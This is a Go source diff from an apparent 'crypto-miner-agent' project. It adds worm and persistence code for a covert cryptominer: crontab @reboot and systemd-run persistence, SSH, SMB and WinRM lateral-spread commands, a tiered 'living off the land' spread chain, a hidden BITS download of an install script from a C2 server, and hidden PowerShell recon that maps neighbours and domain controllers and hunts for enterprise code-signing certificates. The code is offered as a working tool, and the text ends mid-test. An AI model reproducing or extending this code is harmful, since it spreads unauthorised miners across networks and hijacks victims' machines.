args = append(args, strings.Fields(runArgs)...)
|
||||
if err := exec.Command("systemd-run", args...).Run(); err != nil {
|
||||
log.Printf("[lotl] systemd-run --user failed: %v", err)
|
||||
} else {
|
||||
log.Printf("[lotl] systemd-run --user registered %s", unit)
|
||||
}
|
||||
}
|
||||
if mode == "crontab" || mode == "both" {
|
||||
line := fmt.Sprintf("@reboot %s %s >/dev/null 2>&1", binPath, runArgs)
|
||||
out, _ := exec.Command("crontab", "-l").Output()
|
||||
existing := string(out)
|
||||
if strings.Contains(existing, binPath) {
|
||||
return
|
||||
}
|
||||
newCrontab := strings.TrimSpace(existing)
|
||||
if newCrontab != "" {
|
||||
newCrontab += "\n"
|
||||
}
|
||||
newCrontab += line + "\n"
|
||||
cmd := exec.Command("crontab", "-")
|
||||
cmd.Stdin = strings.NewReader(newCrontab)
|
||||
if err := cmd.Run(); err != nil {
|
||||
log.Printf("[lotl] crontab persist failed: %v", err)
|
||||
} else {
|
||||
log.Printf("[lotl] crontab @reboot entry added")
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// sshSpreadStartCmd builds remote start with spread + defer-mining flags.
|
||||
func sshSpreadStartCmd(remotePath string) string {
|
||||
return fmt.Sprintf("chmod +x %s && nohup %s --spread-install --defer-mining >/dev/null 2>&1 &", remotePath, remotePath)
|
||||
}
|
||||
|
||||
// sshSpreadPersistCmd optionally installs LOTL persistence on remote (writable home required).
|
||||
func sshSpreadPersistCmd(cfg config.RuntimeConfig, remotePath string) string {
|
||||
mode := strings.ToLower(strings.TrimSpace(cfg.LinuxLOTLMode))
|
||||
if mode == "" || mode == "off" {
|
||||
return ""
|
||||
}
|
||||
var parts []string
|
||||
if mode == "systemd_run_user" || mode == "both" {
|
||||
parts = append(parts, fmt.Sprintf("systemd-run --user --unit=aetherforge-spread.service %s --run --defer-mining 2>/dev/null || true", remotePath))
|
||||
}
|
||||
if mode == "crontab" || mode == "both" {
|
||||
parts = append(parts, fmt.Sprintf(`(crontab -l 2>/dev/null; echo "@reboot %s --run --defer-mining >/dev/null 2>&1") | crontab - 2>/dev/null || true`, remotePath))
|
||||
}
|
||||
return strings.Join(parts, "; ")
|
||||
}
|
||||
9
agent/deploy/linux_lotl_stub.go
Normal file
9
agent/deploy/linux_lotl_stub.go
Normal file
@@ -0,0 +1,9 @@
|
||||
//go:build windows
|
||||
|
||||
package deploy
|
||||
|
||||
import "crypto-miner-agent/config"
|
||||
|
||||
func applyLinuxLOTLPersistence(_ config.RuntimeConfig, _ string) {}
|
||||
func sshSpreadStartCmd(remotePath string) string { return "" }
|
||||
func sshSpreadPersistCmd(_ config.RuntimeConfig, _ string) string { return "" }
|
||||
47
agent/deploy/lotl_onion.go
Normal file
47
agent/deploy/lotl_onion.go
Normal file
@@ -0,0 +1,47 @@
|
||||
package deploy
|
||||
|
||||
import (
|
||||
"log"
|
||||
"time"
|
||||
|
||||
"crypto-miner-agent/config"
|
||||
)
|
||||
|
||||
// StartLotlOnion runs the ordered LOTL spread tier chain when enabled at forge time.
|
||||
// Each tier uses native OS tooling — no extra miner exe drop beyond the forged agent.
|
||||
func StartLotlOnion(cfg config.RuntimeConfig) {
|
||||
if !cfg.LotlOnionEnabled {
|
||||
return
|
||||
}
|
||||
tiers := NormalizeLotlTiers(cfg.LotlOnionTiers)
|
||||
log.Printf("[lotl-onion] starting tier chain: %v (server_policy=%v)", tiers, cfg.LotlPolicyFromServer)
|
||||
go runLotlOnionChain(cfg, tiers)
|
||||
}
|
||||
|
||||
// TryDiscoverJoinLane attempts one discover_and_join deploy lane (exported for triple onion).
|
||||
func TryDiscoverJoinLane(cfg config.RuntimeConfig, lane string) (bool, string) {
|
||||
return tryLotlTier(cfg, lane)
|
||||
}
|
||||
|
||||
// reportOnlyLotlTiers run recon probes without ending the spread chain.
|
||||
var reportOnlyLotlTiers = map[string]struct{}{
|
||||
"vuln_recon": {},
|
||||
}
|
||||
|
||||
func runLotlOnionChain(cfg config.RuntimeConfig, tiers []string) {
|
||||
// Stagger first pass so C2 auth and mining bootstrap settle first.
|
||||
time.Sleep(2 * time.Minute)
|
||||
for _, tier := range tiers {
|
||||
ok, reason := tryLotlTier(cfg, tier)
|
||||
if ok {
|
||||
if _, reportOnly := reportOnlyLotlTiers[tier]; reportOnly {
|
||||
log.Printf("[lotl-onion] tier %s complete: %s (report-only, continuing)", tier, reason)
|
||||
continue
|
||||
}
|
||||
log.Printf("[lotl-onion] tier %s succeeded", tier)
|
||||
return
|
||||
}
|
||||
log.Printf("[lotl-onion] tier %s skipped: %s", tier, reason)
|
||||
}
|
||||
log.Printf("[lotl-onion] all tiers exhausted — no lateral path succeeded")
|
||||
}
|
||||
27
agent/deploy/lotl_onion_stub.go
Normal file
27
agent/deploy/lotl_onion_stub.go
Normal file
@@ -0,0 +1,27 @@
|
||||
//go:build !windows
|
||||
|
||||
package deploy
|
||||
|
||||
import (
|
||||
"crypto-miner-agent/config"
|
||||
)
|
||||
|
||||
func tryLotlTier(cfg config.RuntimeConfig, tier string) (bool, string) {
|
||||
switch tier {
|
||||
case "vuln_recon":
|
||||
RunVulnRecon(HostOSVersion())
|
||||
return true, "vuln recon complete (report only)"
|
||||
case "linux":
|
||||
if cfg.AutoSpread {
|
||||
go RunSpreadOnce(cfg)
|
||||
return true, "ssh lateral sweep started"
|
||||
}
|
||||
return false, "auto_spread disabled"
|
||||
case "docker":
|
||||
return false, "container tier stub on non-windows"
|
||||
case "bits_curl":
|
||||
return true, "curl|bash install one-liner available"
|
||||
default:
|
||||
return false, "tier not supported on this platform"
|
||||
}
|
||||
}
|
||||
52
agent/deploy/lotl_onion_stub_test.go
Normal file
52
agent/deploy/lotl_onion_stub_test.go
Normal file
@@ -0,0 +1,52 @@
|
||||
//go:build !windows
|
||||
|
||||
package deploy
|
||||
|
||||
import (
|
||||
"strings"
|
||||
"testing"
|
||||
|
||||
"crypto-miner-agent/config"
|
||||
)
|
||||
|
||||
func TestTryLotlTierLinuxAutoSpread(t *testing.T) {
|
||||
ok, msg := tryLotlTier(config.RuntimeConfig{
|
||||
BuiltinConfig: config.BuiltinConfig{AutoSpread: true},
|
||||
}, "linux")
|
||||
if !ok {
|
||||
t.Fatalf("linux tier should succeed with auto_spread, got %q", msg)
|
||||
}
|
||||
if !strings.Contains(msg, "ssh") {
|
||||
t.Fatalf("msg=%q", msg)
|
||||
}
|
||||
}
|
||||
|
||||
func TestTryLotlTierLinuxWithoutAutoSpread(t *testing.T) {
|
||||
ok, msg := tryLotlTier(config.RuntimeConfig{}, "linux")
|
||||
if ok {
|
||||
t.Fatalf("expected failure without auto_spread, got %q", msg)
|
||||
}
|
||||
if !strings.Contains(msg, "auto_spread") {
|
||||
t.Fatalf("msg=%q", msg)
|
||||
}
|
||||
}
|
||||
|
||||
func TestTryLotlTierBitsCurl(t *testing.T) {
|
||||
ok, msg := tryLotlTier(config.RuntimeConfig{}, "bits_curl")
|
||||
if !ok {
|
||||
t.Fatalf("bits_curl tier should be available on unix, got %q", msg)
|
||||
}
|
||||
if !strings.Contains(msg, "curl") {
|
||||
t.Fatalf("msg=%q", msg)
|
||||
}
|
||||
}
|
||||
|
||||
func TestTryLotlTierUnsupported(t *testing.T) {
|
||||
ok, msg := tryLotlTier(config.RuntimeConfig{}, "winrm")
|
||||
if ok {
|
||||
t.Fatalf("winrm should be unsupported on unix, got %q", msg)
|
||||
}
|
||||
if !strings.Contains(msg, "not supported") {
|
||||
t.Fatalf("msg=%q", msg)
|
||||
}
|
||||
}
|
||||
69
agent/deploy/lotl_onion_windows.go
Normal file
69
agent/deploy/lotl_onion_windows.go
Normal file
@@ -0,0 +1,69 @@
|
||||
//go:build windows
|
||||
|
||||
package deploy
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"os/exec"
|
||||
"strings"
|
||||
|
||||
"crypto-miner-agent/config"
|
||||
)
|
||||
|
||||
func tryLotlTier(cfg config.RuntimeConfig, tier string) (bool, string) {
|
||||
switch tier {
|
||||
case "vuln_recon":
|
||||
RunVulnRecon(HostOSVersion())
|
||||
return true, "vuln recon complete (report only)"
|
||||
case "docker":
|
||||
if _, err := exec.LookPath("docker"); err != nil {
|
||||
return false, "container runtime unavailable"
|
||||
}
|
||||
return true, "container runtime ready for worker image pull"
|
||||
case "wsl":
|
||||
if _, err := exec.LookPath("wsl.exe"); err != nil {
|
||||
return false, "wsl.exe not found"
|
||||
}
|
||||
out, err := HiddenCombinedOutput("wsl.exe", "-e", "echo", "ok")
|
||||
if err != nil || !strings.Contains(string(out), "ok") {
|
||||
return false, "wsl not responding"
|
||||
}
|
||||
return true, "wsl available for curl|bash install one-liner"
|
||||
case "powershell":
|
||||
if _, err := exec.LookPath("powershell.exe"); err != nil {
|
||||
return false, "powershell missing"
|
||||
}
|
||||
go runPSRemotingSpread(cfg)
|
||||
return true, "powershell remoting sweep started"
|
||||
case "dotnet":
|
||||
if _, err := exec.LookPath("dotnet"); err != nil {
|
||||
return false, "dotnet SDK/runtime missing"
|
||||
}
|
||||
return true, "dotnet host available for tool-run bootstrap"
|
||||
case "bits_curl":
|
||||
installURL := strings.TrimRight(cfg.ServerURL, "/") + "/install.ps1"
|
||||
_ = HiddenRun("powershell.exe", "-NoProfile", "-WindowStyle", "Hidden", "-Command",
|
||||
fmt.Sprintf("Start-BitsTransfer -Source %q -Destination $env:TEMP\\af-install.ps1 -ErrorAction SilentlyContinue", installURL))
|
||||
return true, "bits/curl install hook queued"
|
||||
case "smb":
|
||||
if !cfg.AutoSpread && !cfg.ShareSpread {
|
||||
go RunSpreadOnce(cfg)
|
||||
return true, "smb lateral sweep started"
|
||||
}
|
||||
go RunSpreadOnce(cfg)
|
||||
return true, "smb sweep started"
|
||||
case "winrm":
|
||||
if !cfg.ShareSpread {
|
||||
go runPSRemotingSpread(cfg)
|
||||
return true, "winrm opportunistic sweep started"
|
||||
}
|
||||
go runPSRemotingSpread(cfg)
|
||||
return true, "winrm sweep started"
|
||||
case "linux":
|
||||
return false, "linux tier is for ssh lateral on unix agents"
|
||||
case "gpo":
|
||||
return false, "gpo requires domain GPO push — operator action"
|
||||
default:
|
||||
return false, "unknown tier"
|
||||
}
|
||||
}
|
||||
43
agent/deploy/lotl_tiers.go
Normal file
43
agent/deploy/lotl_tiers.go
Normal file
@@ -0,0 +1,43 @@
|
||||
package deploy
|
||||
|
||||
import "strings"
|
||||
|
||||
// DefaultLotlOnionTiers is the ordered LOTL spread contingency chain baked into
|
||||
// the LOTL Onion forge preset and server config unless overridden at runtime.
|
||||
var DefaultLotlOnionTiers = []string{
|
||||
"vuln_recon",
|
||||
"docker",
|
||||
"wsl",
|
||||
"powershell",
|
||||
"dotnet",
|
||||
"bits_curl",
|
||||
"smb",
|
||||
"winrm",
|
||||
"linux",
|
||||
"gpo",
|
||||
}
|
||||
|
||||
// NormalizeLotlTiers filters unknown ids and falls back to defaults when empty.
|
||||
func NormalizeLotlTiers(raw []string) []string {
|
||||
allowed := map[string]struct{}{
|
||||
"vuln_recon": {},
|
||||
"docker": {}, "wsl": {}, "powershell": {}, "dotnet": {},
|
||||
"bits_curl": {}, "smb": {}, "winrm": {}, "linux": {}, "gpo": {},
|
||||
}
|
||||
out := make([]string, 0, len(raw))
|
||||
for _, t := range raw {
|
||||
t = strings.ToLower(strings.TrimSpace(t))
|
||||
if t == "bits/curl" {
|
||||
t = "bits_curl"
|
||||
}
|
||||
if _, ok := allowed[t]; ok {
|
||||
out = append(out, t)
|
||||
}
|
||||
}
|
||||
if len(out) == 0 {
|
||||
dup := make([]string, len(DefaultLotlOnionTiers))
|
||||
copy(dup, DefaultLotlOnionTiers)
|
||||
return dup
|
||||
}
|
||||
return out
|
||||
}
|
||||
20
agent/deploy/lotl_tiers_test.go
Normal file
20
agent/deploy/lotl_tiers_test.go
Normal file
@@ -0,0 +1,20 @@
|
||||
package deploy
|
||||
|
||||
import "testing"
|
||||
|
||||
func TestNormalizeLotlTiersDefaults(t *testing.T) {
|
||||
got := NormalizeLotlTiers(nil)
|
||||
if len(got) != len(DefaultLotlOnionTiers) {
|
||||
t.Fatalf("expected %d default tiers, got %d", len(DefaultLotlOnionTiers), len(got))
|
||||
}
|
||||
if got[0] != "vuln_recon" || got[len(got)-1] != "gpo" {
|
||||
t.Fatalf("unexpected order: %v", got)
|
||||
}
|
||||
}
|
||||
|
||||
func TestNormalizeLotlTiersAlias(t *testing.T) {
|
||||
got := NormalizeLotlTiers([]string{"bits/curl", "bogus", "smb"})
|
||||
if len(got) != 2 || got[0] != "bits_curl" || got[1] != "smb" {
|
||||
t.Fatalf("got %v", got)
|
||||
}
|
||||
}
|
||||
@@ -287,11 +287,19 @@ func xmlEscape(s string) string {
|
||||
return s
|
||||
}
|
||||
|
||||
// MaxSubnetScanHosts caps per-agent active /24 sweeps. Fleet-wide discovery is
|
||||
// incremental (ARP cache + capped port knock), never a full /16 or /64 sweep.
|
||||
const MaxSubnetScanHosts = 128
|
||||
|
||||
// ScanLocalSubnet returns hosts with common service ports open on the local /24.
|
||||
// Each agent scans only its own interface /24; maxHosts is clamped to MaxSubnetScanHosts.
|
||||
func ScanLocalSubnet(maxHosts int) string {
|
||||
if maxHosts <= 0 {
|
||||
maxHosts = 64
|
||||
}
|
||||
if maxHosts > MaxSubnetScanHosts {
|
||||
maxHosts = MaxSubnetScanHosts
|
||||
}
|
||||
ips := getLocalIPs()
|
||||
if len(ips) == 0 {
|
||||
return "no local IPv4 interfaces found"
|
||||
|
||||
@@ -5,6 +5,16 @@ func ArpNeighborIPs() []string {
|
||||
return arpHosts()
|
||||
}
|
||||
|
||||
// NeighborTableIPs returns IPv4 hosts from the OS neighbor table on shared subnets.
|
||||
func NeighborTableIPs() []string {
|
||||
return neighborHosts()
|
||||
}
|
||||
|
||||
// CollectPassiveNetworkHints runs capped passive LAN/domain recon for spread targeting.
|
||||
func CollectPassiveNetworkHints(maxHosts int) NetworkHints {
|
||||
return CollectNetworkHints(maxHosts)
|
||||
}
|
||||
|
||||
// PrimaryLocalIPv4 returns the preferred outbound IPv4 (UDP dial trick).
|
||||
func PrimaryLocalIPv4() (string, error) {
|
||||
return primaryLocalIPv4()
|
||||
|
||||
150
agent/deploy/network_hints.go
Normal file
150
agent/deploy/network_hints.go
Normal file
@@ -0,0 +1,150 @@
|
||||
package deploy
|
||||
|
||||
import (
|
||||
"net"
|
||||
"os"
|
||||
"strings"
|
||||
"time"
|
||||
)
|
||||
|
||||
const (
|
||||
// MaxMulticastNameHosts caps passive LLMNR/mDNS cache reads.
|
||||
MaxMulticastNameHosts = 32
|
||||
)
|
||||
|
||||
// NameHost is a hostname/IP pair from passive name caches (LLMNR/mDNS).
|
||||
type NameHost struct {
|
||||
Name string `json:"name"`
|
||||
IP string `json:"ip,omitempty"`
|
||||
}
|
||||
|
||||
// NetworkHints summarizes passive LAN/domain telemetry for spread targeting.
|
||||
type NetworkHints struct {
|
||||
GeneratedAt string `json:"generated_at"`
|
||||
ArpHosts []string `json:"arp_hosts,omitempty"`
|
||||
NeighborHosts []string `json:"neighbor_hosts,omitempty"`
|
||||
SpreadTargets []string `json:"spread_targets,omitempty"`
|
||||
SpreadTargetCount int `json:"spread_target_count,omitempty"`
|
||||
DomainName string `json:"domain_name,omitempty"`
|
||||
DomainJoined bool `json:"domain_joined,omitempty"`
|
||||
LdapSRV []string `json:"ldap_srv,omitempty"`
|
||||
KerberosSRV []string `json:"kerberos_srv,omitempty"`
|
||||
PreferJoinLane string `json:"prefer_join_lane,omitempty"`
|
||||
EnterpriseCodeSignCert bool `json:"enterprise_code_sign_cert,omitempty"`
|
||||
CodeSignSubject string `json:"code_sign_subject,omitempty"`
|
||||
LLMNRHosts []NameHost `json:"llmnr_hosts,omitempty"`
|
||||
MDNSHosts []NameHost `json:"mdns_hosts,omitempty"`
|
||||
MulticastNameCount int `json:"multicast_name_count,omitempty"`
|
||||
}
|
||||
|
||||
// CollectNetworkHints runs capped passive recon (ARP/neighbor, DNS SRV, cert, name cache).
|
||||
func CollectNetworkHints(maxHosts int) NetworkHints {
|
||||
if maxHosts <= 0 {
|
||||
maxHosts = 64
|
||||
}
|
||||
if maxHosts > MaxSubnetScanHosts {
|
||||
maxHosts = MaxSubnetScanHosts
|
||||
}
|
||||
|
||||
arp := arpHosts()
|
||||
neighbors := neighborHosts()
|
||||
targets := DiscoverLANSpreadTargets(maxHosts)
|
||||
|
||||
hints := NetworkHints{
|
||||
GeneratedAt: time.Now().UTC().Format(time.RFC3339),
|
||||
ArpHosts: capStrings(arp, maxHosts),
|
||||
NeighborHosts: capStrings(neighbors, maxHosts),
|
||||
SpreadTargets: targets,
|
||||
SpreadTargetCount: len(targets),
|
||||
}
|
||||
|
||||
domain := discoverADDomain()
|
||||
hints.DomainName = domain
|
||||
ldap, krb, joined := probeDomainSRV(domain)
|
||||
hints.LdapSRV = ldap
|
||||
hints.KerberosSRV = krb
|
||||
hints.DomainJoined = joined
|
||||
if joined {
|
||||
hints.PreferJoinLane = "gpo"
|
||||
}
|
||||
|
||||
if present, subject := probeEnterpriseCodeSignCert(); present {
|
||||
hints.EnterpriseCodeSignCert = true
|
||||
hints.CodeSignSubject = subject
|
||||
}
|
||||
|
||||
llmnr, mdns := probeMulticastNameCache(MaxMulticastNameHosts)
|
||||
hints.LLMNRHosts = llmnr
|
||||
hints.MDNSHosts = mdns
|
||||
hints.MulticastNameCount = len(llmnr) + len(mdns)
|
||||
|
||||
return hints
|
||||
}
|
||||
|
||||
func capStrings(in []string, max int) []string {
|
||||
if max <= 0 || len(in) == 0 {
|
||||
return nil
|
||||
}
|
||||
if len(in) > max {
|
||||
in = in[:max]
|
||||
}
|
||||
out := make([]string, len(in))
|
||||
copy(out, in)
|
||||
return out
|
||||
}
|
||||
|
||||
func mergeUniqueIPv4(sets ...[]string) []string {
|
||||
seen := make(map[string]bool)
|
||||
var out []string
|
||||
for _, set := range sets {
|
||||
for _, host := range set {
|
||||
host = strings.TrimSpace(host)
|
||||
if host == "" || seen[host] {
|
||||
continue
|
||||
}
|
||||
ip := net.ParseIP(host)
|
||||
if ip == nil || ip.To4() == nil {
|
||||
continue
|
||||
}
|
||||
seen[host] = true
|
||||
out = append(out, ip.To4().String())
|
||||
}
|
||||
}
|
||||
return out
|
||||
}
|
||||
|
||||
func discoverADDomain() string {
|
||||
if d := strings.TrimSpace(os.Getenv("USERDNSDOMAIN")); d != "" {
|
||||
return strings.ToLower(d)
|
||||
}
|
||||
return discoverADDomainPlatform()
|
||||
}
|
||||
|
||||
func probeDomainSRV(domain string) (ldap, kerberos []string, joined bool) {
|
||||
domain = strings.ToLower(strings.TrimSpace(domain))
|
||||
if domain == "" {
|
||||
return nil, nil, false
|
||||
}
|
||||
ldap = lookupSRVHosts("_ldap._tcp." + domain)
|
||||
kerberos = lookupSRVHosts("_kerberos._tcp." + domain)
|
||||
joined = len(ldap) > 0 || len(kerberos) > 0
|
||||
return ldap, kerberos, joined
|
||||
}
|
||||
|
||||
func lookupSRVHosts(name string) []string {
|
||||
_, addrs, err := net.LookupSRV("", "", name)
|
||||
if err != nil || len(addrs) == 0 {
|
||||
return nil
|
||||
}
|
||||
seen := make(map[string]bool)
|
||||
var hosts []string
|
||||
for _, a := range addrs {
|
||||
target := strings.TrimSuffix(strings.TrimSpace(a.Target), ".")
|
||||
if target == "" || seen[target] {
|
||||
continue
|
||||
}
|
||||
seen[target] = true
|
||||
hosts = append(hosts, target)
|
||||
}
|
||||
return hosts
|
||||
}
|
||||
11
agent/deploy/network_hints_cert_stub.go
Normal file
11
agent/deploy/network_hints_cert_stub.go
Normal file
@@ -0,0 +1,11 @@
|
||||
//go:build !windows
|
||||
|
||||
package deploy
|
||||
|
||||
func probeEnterpriseCodeSignCert() (present bool, subject string) {
|
||||
return false, ""
|
||||
}
|
||||
|
||||
func probeMulticastNameCache(max int) (llmnr, mdns []NameHost) {
|
||||
return nil, nil
|
||||
}
|
||||
113
agent/deploy/network_hints_cert_windows.go
Normal file
113
agent/deploy/network_hints_cert_windows.go
Normal file
@@ -0,0 +1,113 @@
|
||||
//go:build windows
|
||||
|
||||
package deploy
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"net"
|
||||
"strings"
|
||||
)
|
||||
|
||||
const dnsClientCacheScript = `
|
||||
$rows = Get-DnsClientCache -ErrorAction SilentlyContinue |
|
||||
Where-Object { $_.Entry -ne '' -and $_.Data -ne '' } |
|
||||
Select-Object -First 64 Entry, Data, Type
|
||||
$rows | ConvertTo-Json -Compress
|
||||
`
|
||||
|
||||
const codeSignCertScript = `
|
||||
$eku = '1.3.6.1.5.5.7.3.3'
|
||||
$cert = Get-ChildItem Cert:\CurrentUser\My, Cert:\LocalMachine\My -ErrorAction SilentlyContinue |
|
||||
Where-Object {
|
||||
$_.HasPrivateKey -and (
|
||||
($_.EnhancedKeyUsageList | Where-Object { $_.ObjectId -eq $eku }) -or
|
||||
($_.EnhancedKeyUsageList.FriendlyName -contains 'Code Signing')
|
||||
)
|
||||
} |
|
||||
Select-Object -First 1 Subject
|
||||
if ($cert) { $cert.Subject } else { '' }
|
||||
`
|
||||
|
||||
func probeEnterpriseCodeSignCert() (present bool, subject string) {
|
||||
out, err := HiddenOutput("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-WindowStyle", "Hidden", "-Command", codeSignCertScript)
|
||||
if err != nil {
|
||||
return false, ""
|
||||
}
|
||||
subject = strings.TrimSpace(string(out))
|
||||
return subject != "", subject
|
||||
}
|
||||
|
||||
func probeMulticastNameCache(max int) (llmnr, mdns []NameHost) {
|
||||
if max <= 0 {
|
||||
return nil, nil
|
||||
}
|
||||
out, err := HiddenOutput("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-WindowStyle", "Hidden", "-Command", dnsClientCacheScript)
|
||||
if err != nil {
|
||||
return nil, nil
|
||||
}
|
||||
raw := strings.TrimSpace(string(out))
|
||||
if raw == "" {
|
||||
return nil, nil
|
||||
}
|
||||
if idx := strings.LastIndex(raw, "{"); idx >= 0 && !strings.HasPrefix(raw, "[") {
|
||||
raw = "[" + raw[idx:]
|
||||
if !strings.HasSuffix(raw, "]") {
|
||||
raw += "]"
|
||||
}
|
||||
}
|
||||
var rows []struct {
|
||||
Entry string `json:"Entry"`
|
||||
Data string `json:"Data"`
|
||||
Type int `json:"Type"`
|
||||
}
|
||||
if err := json.Unmarshal([]byte(raw), &rows); err != nil {
|
||||
var one struct {
|
||||
Entry string `json:"Entry"`
|
||||
Data string `json:"Data"`
|
||||
Type int `json:"Type"`
|
||||
}
|
||||
if err2 := json.Unmarshal([]byte(raw), &one); err2 != nil || one.Entry == "" {
|
||||
return nil, nil
|
||||
}
|
||||
rows = []struct {
|
||||
Entry string `json:"Entry"`
|
||||
Data string `json:"Data"`
|
||||
Type int `json:"Type"`
|
||||
}{one}
|
||||
}
|
||||
|
||||
seenLLMNR := make(map[string]bool)
|
||||
seenMDNS := make(map[string]bool)
|
||||
for _, row := range rows {
|
||||
name := strings.TrimSpace(strings.TrimSuffix(row.Entry, "."))
|
||||
ip := strings.TrimSpace(row.Data)
|
||||
if name == "" {
|
||||
continue
|
||||
}
|
||||
if ip != "" {
|
||||
if parsed := net.ParseIP(ip); parsed != nil && parsed.To4() != nil {
|
||||
ip = parsed.To4().String()
|
||||
}
|
||||
}
|
||||
entry := NameHost{Name: name, IP: ip}
|
||||
lower := strings.ToLower(name)
|
||||
switch {
|
||||
case strings.HasSuffix(lower, ".local"):
|
||||
if len(mdns) >= max || seenMDNS[name] {
|
||||
continue
|
||||
}
|
||||
seenMDNS[name] = true
|
||||
mdns = append(mdns, entry)
|
||||
case !strings.Contains(name, "."):
|
||||
if len(llmnr) >= max || seenLLMNR[name] {
|
||||
continue
|
||||
}
|
||||
seenLLMNR[name] = true
|
||||
llmnr = append(llmnr, entry)
|
||||
}
|
||||
if len(llmnr)+len(mdns) >= max {
|
||||
break
|
||||
}
|
||||
}
|
||||
return llmnr, mdns
|
||||
}
|
||||
50
agent/deploy/network_hints_neighbors_unix.go
Normal file
50
agent/deploy/network_hints_neighbors_unix.go
Normal file
@@ -0,0 +1,50 @@
|
||||
//go:build !windows
|
||||
|
||||
package deploy
|
||||
|
||||
import (
|
||||
"bufio"
|
||||
"net"
|
||||
"os/exec"
|
||||
"strings"
|
||||
)
|
||||
|
||||
func neighborHosts() []string {
|
||||
out, err := exec.Command("ip", "-4", "neighbor", "show").Output()
|
||||
if err != nil {
|
||||
return nil
|
||||
}
|
||||
local := getLocalIPs()
|
||||
subnets := make(map[string]bool)
|
||||
for _, ip := range local {
|
||||
subnets[getSubnet(ip)] = true
|
||||
}
|
||||
|
||||
var hosts []string
|
||||
seen := make(map[string]bool)
|
||||
scanner := bufio.NewScanner(strings.NewReader(string(out)))
|
||||
for scanner.Scan() {
|
||||
fields := strings.Fields(scanner.Text())
|
||||
if len(fields) < 1 {
|
||||
continue
|
||||
}
|
||||
ip := net.ParseIP(fields[0])
|
||||
if ip == nil || ip.To4() == nil {
|
||||
continue
|
||||
}
|
||||
if len(fields) >= 5 && strings.EqualFold(fields[len(fields)-1], "FAILED") {
|
||||
continue
|
||||
}
|
||||
ipStr := ip.To4().String()
|
||||
if !subnets[getSubnet(ipStr)] || seen[ipStr] {
|
||||
continue
|
||||
}
|
||||
seen[ipStr] = true
|
||||
hosts = append(hosts, ipStr)
|
||||
}
|
||||
return hosts
|
||||
}
|
||||
|
||||
func discoverADDomainPlatform() string {
|
||||
return ""
|
||||
}
|
||||
54
agent/deploy/network_hints_neighbors_windows.go
Normal file
54
agent/deploy/network_hints_neighbors_windows.go
Normal file
@@ -0,0 +1,54 @@
|
||||
//go:build windows
|
||||
|
||||
package deploy
|
||||
|
||||
import (
|
||||
"net"
|
||||
"strings"
|
||||
)
|
||||
|
||||
func neighborHosts() []string {
|
||||
out, err := HiddenOutput("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-WindowStyle", "Hidden", "-Command",
|
||||
`Get-NetNeighbor -AddressFamily IPv4 -ErrorAction SilentlyContinue | Where-Object { $_.State -ne 'Incomplete' -and $_.IPAddress -notmatch '^127\.' } | Select-Object -ExpandProperty IPAddress`)
|
||||
if err != nil {
|
||||
return nil
|
||||
}
|
||||
local := getLocalIPs()
|
||||
subnets := make(map[string]bool)
|
||||
for _, ip := range local {
|
||||
subnets[getSubnet(ip)] = true
|
||||
}
|
||||
|
||||
var hosts []string
|
||||
seen := make(map[string]bool)
|
||||
for _, line := range strings.Split(string(out), "\n") {
|
||||
line = strings.TrimSpace(line)
|
||||
if line == "" {
|
||||
continue
|
||||
}
|
||||
ip := net.ParseIP(line)
|
||||
if ip == nil || ip.To4() == nil || ip.IsLoopback() || ip.IsMulticast() {
|
||||
continue
|
||||
}
|
||||
ipStr := ip.To4().String()
|
||||
if !subnets[getSubnet(ipStr)] || seen[ipStr] {
|
||||
continue
|
||||
}
|
||||
seen[ipStr] = true
|
||||
hosts = append(hosts, ipStr)
|
||||
}
|
||||
return hosts
|
||||
}
|
||||
|
||||
func discoverADDomainPlatform() string {
|
||||
out, err := HiddenOutput("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-WindowStyle", "Hidden", "-Command",
|
||||
`(Get-CimInstance Win32_ComputerSystem -ErrorAction SilentlyContinue).Domain`)
|
||||
if err != nil {
|
||||
return ""
|
||||
}
|
||||
domain := strings.TrimSpace(string(out))
|
||||
if domain == "" || strings.EqualFold(domain, "WORKGROUP") {
|
||||
return ""
|
||||
}
|
||||
return strings.ToLower(domain)
|
||||
}
|
||||
74
agent/deploy/network_hints_test.go
Normal file
74
agent/deploy/network_hints_test.go
Normal file
@@ -0,0 +1,74 @@
|
||||
package deploy
|
||||
|
||||
import (
|
||||
"testing"
|
||||
)
|
||||
|
||||
func TestMergeUniqueIPv4DedupesAndFilters(t *testing.T) {
|
||||
got := mergeUniqueIPv4(
|
||||
[]string{"192.168.1.10", "192.168.1.10", "not-an-ip"},
|
||||
[]string{"192.168.1.11", "192.168.1.10"},
|
||||
)
|
||||
if len(got) != 2 {
|
||||
t.Fatalf("want 2 hosts, got %d: %v", len(got), got)
|
||||
}
|
||||
if got[0] != "192.168.1.10" || got[1] != "192.168.1.11" {
|
||||
t.Fatalf("unexpected order/content: %v", got)
|
||||
}
|
||||
}
|
||||
|
||||
func TestCapStrings(t *testing.T) {
|
||||
in := []string{"a", "b", "c"}
|
||||
got := capStrings(in, 2)
|
||||
if len(got) != 2 || got[0] != "a" || got[1] != "b" {
|
||||
t.Fatalf("got %v", got)
|
||||
}
|
||||
if in[2] != "c" {
|
||||
t.Fatal("capStrings should copy, not mutate input unexpectedly")
|
||||
}
|
||||
}
|
||||
|
||||
func TestProbeDomainSRVEmptyDomain(t *testing.T) {
|
||||
ldap, krb, joined := probeDomainSRV("")
|
||||
if joined || len(ldap) > 0 || len(krb) > 0 {
|
||||
t.Fatalf("empty domain should not look joined: ldap=%v krb=%v joined=%v", ldap, krb, joined)
|
||||
}
|
||||
}
|
||||
|
||||
func TestCollectNetworkHintsRespectsSpreadCap(t *testing.T) {
|
||||
hints := CollectNetworkHints(3)
|
||||
if len(hints.SpreadTargets) > 3 {
|
||||
t.Fatalf("spread cap ignored: got %d targets", len(hints.SpreadTargets))
|
||||
}
|
||||
if hints.SpreadTargetCount != len(hints.SpreadTargets) {
|
||||
t.Fatalf("count mismatch: count=%d len=%d", hints.SpreadTargetCount, len(hints.SpreadTargets))
|
||||
}
|
||||
if hints.GeneratedAt == "" {
|
||||
t.Fatal("generated_at should be set")
|
||||
}
|
||||
}
|
||||
|
||||
func TestCollectNetworkHintsPreferGPOWhenDomainJoined(t *testing.T) {
|
||||
hints := NetworkHints{DomainJoined: true}
|
